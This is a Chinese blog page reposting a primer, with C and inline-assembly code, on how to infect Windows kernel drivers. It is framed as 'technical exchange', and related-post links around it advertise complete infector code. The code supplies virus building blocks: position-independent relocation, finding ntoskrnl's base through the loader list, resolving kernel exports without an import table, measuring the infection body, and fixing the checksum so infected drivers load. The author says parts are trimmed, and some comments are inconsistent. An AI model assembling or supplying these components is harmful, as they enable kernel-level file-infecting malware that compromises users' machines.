驱动感染技术扫盲(C描述)

遗传算法进阶:适应度设计、收敛诊断与早熟根治 遗传算法(GA)作为经典进化计算方法,其核心价值不仅在于模拟自然选择的原理,更在于构建可控、可诊断、可复现的工程化优化闭环。理解适应度函数如何影响选择压力、种群熵如何表征多样性衰减、可行性比率如何引导约束处理,是突破‘调参玄学’的关键。本文聚焦工业落地中最常失效的三大环节——适应度函数设计陷阱、早熟现象根因分析、收敛性量化诊断,结合动态缩放、精英策略参数化、锦标赛选择自适应等实操方案,帮助开发者将GA从教学示例升级为稳定部署的智能优化模块。特别适用于多目标调度、供应链优化、参数寻优等强约束、高噪声、高维度的 阅读详情
驱动感染技术扫盲(C描述)  
Writer By 老Y
上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。
好了,回归正题,很多年前(其实也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪几个问题呢?
1、重定位问题
在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据:
Start:
    call lbl_Next
lbl_Next:
    pop ebx
    sub ebx, 5
    sub ebx, offset Start

要访问全局数据就这样:Mov eax, dword ptr[ebx + GlobalData]
那么用C语言里怎么重定位呢,呵呵,有人说过在C里不能嵌汇编吗?没有,嘿,那就用汇编,如:
/**
*@brief 取得全局变量或函数重定位后的地址
* 
*@param[in]    pVar 全局变量或函数的地址
*@return 返回全局变量或函数的实际地址
*/
PVOID KGetGlobalVarAddr(PVOID pVar)
{
  PVOID pCurAddr = NULL;
  __asm
  {
Start:
    call lbl_Next
lbl_Next:
    pop eax
    sub eax, 5
    sub eax, offset Start
    add eax, pVar
    mov pCurAddr, eax
  }
  return pCurAddr;
}

访问全局数据就成这样:pData = KGetGlobalVarAddr(&GlobalData);
2、引入表问题
得到ntoskrnl基址
大家都知道DriverEntry函数的第一个参数是一个DriverObject,该参数的结构如下
nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32    
   +0x030 DriverStartIo    : Ptr32    
   +0x034 DriverUnload     : Ptr32    
   +0x038 MajorFunction    : [28] Ptr32    

其中DriverSection成员指向LDR_DATA_TABLE_ENTRY结构,如下:
+0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 Void
   +0x04c PatchInformation : Ptr32 Void

DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好东西呀,呵呵

通过遍历这张表得到ntoskrnl的基址和大小,如下

/**
*@brief 根据驱动模块名返回对应的映像基址和映像大小
* 
*@param[in]    pwszModuleName 驱动模块名
*@param[in]    pulModuleSize 返回驱动模块的大小

*@return 返回0表示失败,其它值是驱动模块基址
*/
ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize)
{
  ULONG ulModuleBase = 0;
  LIST_ENTRY *Entry = NULL;
  LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
  PDRIVER_OBJECT DriverObject = KGetGlobalVarAddr(g_pDriverObject);

  Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink;
  do
  {
    DataTableEntry = CONTAINING_RECORD(Entry,
      LDR_DATA_TABLE_ENTRY,
      InLoadOrderLinks);
    if (DataTableEntry->EntryPoint && 
      DataTableEntry->BaseDllName.Buffer &&
      DataTableEntry->FullDllName.Buffer && 
      DataTableEntry->LoadCount
      )
    {

      if ( !KWcsNiCmp(
        DataTableEntry->BaseDllName.Buffer,
        pwszModuleName, 
        DataTableEntry->BaseDllName.Length / sizeof(WCHAR)
        )
        )
      {
        ulModuleBase = DataTableEntry->DllBase;
        if (pulModuleSize)
        {
          *pulModuleSize = DataTableEntry->SizeOfImage;
        }
        goto Exit0;
      }
    }

    Entry = Entry->Flink;

  }
  while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink);



Exit0:

  return ulModuleBase;
}
(注:也可以用上面的方法来枚举已经加载的驱动列表)


通过导出表取得函数地址

/**
*@brief 根据函数名返回函数对应的RVA地址
* 
*@param[in]    pe PE对象
*@param[in]    Name 导出表内的函数名

*@return 返回表示失败,其它值是函数的RVA地址
*/
ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
  ULONG FuncRVA = 0;
  ULONG *puFuncNameAddress = 0;
  USHORT *puAddressOfOrd = 0;
  ULONG *puAddressOfFunc = 0;
  ULONG i = 0;
  USHORT Index = 0;
  PUCHAR pFuncName = NULL;
  ULONG FuncNameRVA = 0;


  PROCESS_ERROR(pe->pExportEntry);
  puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames +  pe->pMap);
  puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals +  pe->pMap);
  puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions +  pe->pMap);
  for (i = 0; i <  pe->pExportEntry->NumberOfNames; i++)
  {
    Index = puAddressOfOrd[i];

    FuncNameRVA = puFuncNameAddress[i];
    pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);

    if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
    {
      FuncRVA = puAddressOfFunc[Index];
      break;
    }

  }


Exit0:
  return FuncRVA;
}

/**
*@brief 根据内核映像初始一个PE对象
* 
*@param[in]    Buffer 内核映像基址
*@param[in]    uFileSize 内核映像大小
*@param[out]  pe PE对象
*@return 返回STATUS_SUCCESS时成功,其它值为失败
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)
{
  int    nResult = STATUS_UNSUCCESSFUL;

  if (!pe)
  {
    goto Exit0;
  }

  pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
  pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer +  pe->pDosHdr->e_lfanew);
  pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
    pe->pDosHdr->e_lfanew + 
    pe->pNtHdr->FileHeader.SizeOfOptionalHeader + 

    0x18 + Buffer
    );

  pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
    Buffer + 
    pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
    );

  pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
    Buffer + 
    pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
    );

  pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
    Buffer + 
    pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
    );

  pe->IsInitSuccessed = TRUE;
  pe->pMap = Buffer;
  pe->uMapSize = uFileSize;
  nResult = STATUS_SUCCESS;
Exit0:
  return nResult;
}

/**
*@brief 根据函数名得到函数的地址,可以理解为GetProcAddress
* 
*@param[in]    pwszModuleName 驱动模块名
*@param[in]    pszFuncName 函数名

*@return 返回表示失败,其它值是函数的地址
*/
ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)
{
  int    nRetCode = FALSE;
  ULONG  ulApiAddr = 0;
  ULONG  ulNtosBase = 0;
  ULONG  ulNtosSize = 0;
  KPELIB  pe;

  

  ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
  if (!ulNtosBase)
  {
    goto Exit0;
  }

  nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
  if(!NT_SUCCESS(nRetCode))
  {
    goto Exit0;
  }

  ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));
  if (!ulApiAddr)
  {
    goto Exit0;
  }

  ulApiAddr += ulNtosBase;

Exit0:

  return ulApiAddr;
}
使用示例:
WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe";
CHAR  g_ApiName[] = "NtCreateFile";
pFunc = KGetApiAddr(
KGetGlobalVar(g_Ntoskrnl),
KGetGlobalVar(g_ApiName)
 );
其它的不多说了,大家应该对这块是已经熟得不能再熟了^_^

3、感染体大小的取得
    我的解决方案是:
    在所有的代码和数据前面放置KGetStartAddr函数
/**
*@brief 取得当前函数的地址
* 
*@return 返回当前函数的地址
*/
ULONG __declspec(naked) KGetStartAddr()
{
  __asm
  {
    call lbl_Next
lbl_Next:
    pop eax
    sub eax, 5
    ret
  }
}
在所有的代码和数据前面放置KGetEndAddr函数

/**
*@brief 取得当前函数末的地址
* 
*@return 返回前函数末的地址
*/
ULONG __declspec(naked) KGetEndAddr()
{
  __asm
  {
    call lbl_Next
lbl_Next:
    pop eax
    add eax, 5
    ret
  }
}

感染体大小= KGetEndAddr() - KGetStartAddr()

4、把.data节和.text节合并
方法:
  把VC2005的工程属性Linker->Advanced->Merge Sections字段改成.data=.text

5、重新计算文件CheckSum,对于驱动来说,这个很重要,不重新计算驱动会加载失败
从2000源代码里A出来的,具体看源代码
6、记不起来了,具体看源代码,自己慢慢调,慢慢蓝,嘿


声明:
本文的目的不是在教大家怎么写驱动感染病毒,纯粹是一种技术交流,使用本文所演示的技术所造成的一切影响都与本人无关。


源代码说明:
代码被我删除了一些东西,所以不要问我怎么编译通不过,懂得相关技术的人自然很容易补齐,这也是为了防止有人直接A过去干坏事^_^
告别GitHub!手把手教你用Gitblit在Windows 10上搭建私人局域网Git服务器(附SourceTree配置) 本文详细介绍了如何在Windows 10环境下使用Gitblit搭建私有Git服务器,实现局域网内高效代码协作。通过轻量级的Gitblit解决方案,开发者可以享受数据完全自主、离线可用性和局域网高速访问等优势。文章包含从环境准备、安装部署到SourceTree配置的全流程指南,特别适合金融、医疗等敏感行业团队使用。 阅读详情

相关推荐

WRF和WPS安装和编译时遇到的问题

检查是否自己netcdf和Fortran编译器一致。解决办法:修改configure.wps里的路径。如果没问题且wrf已成功编译,考虑重新。path修改为jasper在的路径。

m0_54898744的博客 1837

VS2017中常见的错误及解决办法

VS2017中常见的错误及解决办法1、LINK : fatal error LNK11042、LINK : fatal error LNK1561无法打开math.h等源文件debug模式下的链接库问题 1、LINK : fatal error LNK1104 LINK : fatal error LNK1104 can not open file xxxxx.lib 其实是一种链接器错误,只需...

gj295983859的博客 6158

Spark 大数据环境搭建( Linux 系统安装和配置)

(1)选择典型安装(2)选择“安装程序光盘映像文件(iso)”,点击右侧的浏览按钮, 找到下载好的iso 文件,然后点击下一步。(3)将全名、用户名、密码、确认等几项均设为“spark”, 方便后面使用,然后点击下一步。(4)在命名虚拟机的窗体中,可以设定一下虚拟机名称或直接按默认,然后点击下一步。(5)在指定磁盘容量的窗体中,设定虚拟机使用的最大磁盘大小为60GB,虚拟机文件尺 寸是在使用过程中按需增长的,最大限制为 60GB。

2301_80186825的博客 1605

解决出现fatal error LNK1169: one or more multiply

大家都知道,从C/C++源程序到可执行文件要经历两个阶段:(1)编译器将源文件编译成汇编代码,然后由汇编器(assembler)翻译成机器指令(再加上其它相关信息)后输出到一个个目标文件(object file,VC的编译器编译出的目标文件默认的后缀名是.obj)中;(2)链接器(linker)将一个个的目标文件(或许还会有若干程序库)链接在一起生成一个完整的可执行文件。编译器编译源文件时

paulwang5355的专栏 1380

NIDS——suricata(一)

NIDS——suricata环境安装和规则编写

weixin_58666006的博客 1273

react +ant desiagn pro实现按钮操作权限控制

在ant desiagn pro中提供了一个access用于对权限进行控制,需引入useAccess和Access

Sylvasylva的博客 2211

近期系统多次蓝屏排查记录

windows近期频繁蓝屏原因分析

sunqian_119的博客 2024

【爬虫】Python实现爬取淘宝商品信息(超详细)

项目基于Python的第三方库Selenium模拟浏览器运行、PyQuery解析和操作HTML文档,获取淘宝平台中某类商品的详细信息(商品标题、价格、销量、商铺名称、地区、商品详情页链接、商铺链接等),并基于第三方库openpyxl建立、存储于Excel表格中。# 全局变量count = 1 # 写入Excel商品计数# 启动ChromeDriver服务# 关闭自动测试状态显示 // 会导致浏览器报:请停用开发者模式# 把chrome设为selenium驱动的浏览器代理;# 窗口最大化。

qq_46315152的博客 4万+

又见感染驱动文件和驱动文件感染新思路

看样子这玩意又出来了~不过没有ida分析过~只是想说点我的C代码的感染驱动时的一点点小技巧,我们知道驱动可以包含资源这部分资源又可以释放到内存或者怎么怎么的搞成一个executive image mapping,然后xxx.再zzz就可以执行资源,甚至里面还可以有些猥琐的各种加密之类的玩意——没错,我说的就是资源打包方式的感染,这玩意不陌生,至少二十一世纪初期这是个流行的感染方法,只要手工写一个操

954

深入理解Android音视频同步机制(三)NuPlayer的avsync逻辑

本文深入介绍了NuPlayer的avsync逻辑和原理

张晖的专栏 1万+

【基础演练】Playwright 极简复习:作为 AI-RPA 底座的 Playwright 核心用法

摘要: 2026年,Playwright已从测试工具升级为AI-RPA标准执行底座,周下载量超3300万,被browser-use等AI Agent项目广泛采用。其核心架构通过Playwright Server实现多浏览器协议适配,支持远程连接与高并发隔离(BrowserContext)。自动等待机制显著提升稳定性,但高频交互场景可能需直接使用CDP协议。Playwright凭借跨浏览器兼容性、轻量级隔离和微软官方支持,成为测试、RPA和AI Agent领域的事实标准,未来将主导对话式自动化市场。

ZDQ58818的博客 237

驱动感染技术,可写穿透还原软件的病毒的技术

驱动感染技术,可写穿透还原软件的病毒的技术 用的正道上,可以写穿透还原软件的游戏更新软件! 标 题: 【原创】驱动感染技术扫盲(C描述)上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那

rainbowsoftware 1000

YOLO11涨点优化:原创自研 | 魔改Bottleneck,具备多尺度和特征通道融合的结构

可以将C3k2_MSAMCS放在neck,或者backbone和neck同时修改,具体看自己数据集的涨点情况决定

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 1651

计算机扫盲(下篇)

由于篇幅问题这篇文章被迫分成上下两篇建议反复上下对比着看,能应付生活中的使用就行。不是学操作系统的不用了解太深。实在不会就喂给ai帮你理解。逆向工程 = 通过分析程序的二进制文件,理解它的行为和逻辑。正常开发:源代码 → 编译 → 可执行文件 逆向工程:可执行文件 → 反汇编/反编译 → 理解逻辑5.2.1 指令与机器码1. 指令的组成 机器码格式(x86/x64):必会的汇编指令2. 常见寄存器3. 汇编代码中的栈重要观念:函数调用时生成的栈帧,在汇编层面根本不是一个必须存在的“结构”。, , , 等指

2504_94717629的博客 525

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

windows系统扫盲之--dll动态链接库概念

动态链接库 百科名片   动态链接库文件 动态链接库英文为DLL,是Dynamic Link Library 的缩写形式,DLL是一个包含可由多个程序同时使用的代码和数据的库,DLL不是可执行文件。动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数。函数的可执行代码位于一个 DLL 中,该 DLL 包含一个或多个已被编译、链接并与使用它们的进程分开存储的

2835

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

操作系统核心原理与高频故障排查:从调度到虚拟机实战

操作系统是计算机资源管理与抽象的核心层,它向上为应用程序提供统一接口,向下屏蔽硬件差异。理解进程、线程、管程与协程的区别,是入门操作系统的基础;而CPU调度、虚拟内存与文件系统,则解释了程序从加载到运行的全过程。在实际工程中,无论是安装虚拟机还是部署服务器,都会遇到“客户机操作系统已禁用CPU”“虚拟机找不到操作系统”等常见问题,这些现象往往源于对系统边界与引导机制的理解不足。从通用原理出发,结合麒麟系统、VMware等部署实践,能够帮助学习者在复习操作系统期末重点或排查部署故障时建立系统化思路,真正做到从

weixin_34293059的博客 230

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

网络基础实战笔记:从协议栈到故障排查

网络基础是运维和开发人员排查问题的必修课。从OSI模型与TCP/IP协议栈的分层原理出发,理解数据封装、IP编址与路由转发,能有效定位大多数连通性故障。结合端口检查、抓包分析等手段,配合ping、traceroute、ss等命令,可快速缩小问题范围。在工程实践中,无论是配置子网划分、排查UDP网络调试中的丢包乱序,还是使用网络调试助手验证服务连通性,分层思维都至关重要。本文沉淀了一套从家庭到企业组网、从协议到安全、从命令到实战的排查笔记,帮助读者建立系统化的网络排障能力。

weixin_28672681的博客 331

完整的驱动感染.code.编译通过

<br />【原创】完整的驱动感染.code.编译通过  标 题: 【原创】完整的驱动感染.code.编译通过<br />作 者: sudami<br />时 间: 2008-05-28,21:59:10<br />链 接: http://bbs.pediy.com/showthread.php?t=65628<br /><br />完整的驱动感染.code.编译通过<br /><br />/* <br />* Module: InfectDriver.c <br />* <br />* Author : 

kerson的专栏 1081

fatal error LNK1202错误问题解决方案

在编写wxsqlite3应用程序时,debug版本连接出现 fatal error LNK1202错误,版本查找原因原来是debug版本sqlite3编译时调试数据库选项为/ZI,而wxsqlite3为/Zi,两者不一致造成的。在网络上找到一篇文章,也描述了这个问题。

embededvc的专栏 4027

从可执行文件手动删除.reloc

1.整理reloc节区头 2.删除.reloc节区

极深研几 1722

最常见的20种VC++编译错误信息

最常见的20种VC++编译错误信息1、fatal error C1010: unexpected end of file while looking for precompiled header directive。   寻找预编译头文件路径时遇到了不该遇到的文件尾。(一般是没有#include "stdafx.h")   2、fatal error C1083: Cannot open

天蓝的专栏 1092

drivername表示什么_详解JDBC中的Class.forName(DriverName)

在Java开发特别是数据库开发中,经常会用到Class.forName( )这个方法。通过查询Java Documentation我们会发现使用Class.forName( )静态方法的目的是为了动态加载类。在加载完成后,一般还要调用Class下的newInstance( )静态方法来实例化对象以便操作。因此,单单使用Class.forName( )是动态加载类是没有用的,其最终目的是为了实例化对...

weixin_34626779的博客 2654

drivername表示什么_jdbc中Class.forName(driverName)的作用

上次面试别人问我jdbc的过程:我是这样回答的:Class.forName加载驱动DriverManager.connect(url,username, password)获取连接对象conn获取statement或者prepareStatement对象进行sql操作关闭连接后面在Class.forName这里把我问死了。他问Class.forName是如何加载驱动的呢?Class.forName...

weixin_39835965的博客 500

【Debug】fatal error LNK1241: 已指定资源文件

【问题背景】 两个静态库A和B,都添加了资源Version。B库中包含了A库(附加依赖项里面添加了A.lib),编译的时候提示:fatal error LNK1241: 已指定资源文件。 【解决方案】 去掉了A库中的资源,重新编译即可。 【原因分析】 在编译器对B库进行编译的时候,同时链接了A库的资源,导致资源文件发生冲突。

HelloKandy's Blog 3357
上一篇: 国庆PE总复习(七)完结篇
下一篇: 完整的驱动感染.code.编译通过
M-先生
博客等级 码龄17年 60粉丝 6原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值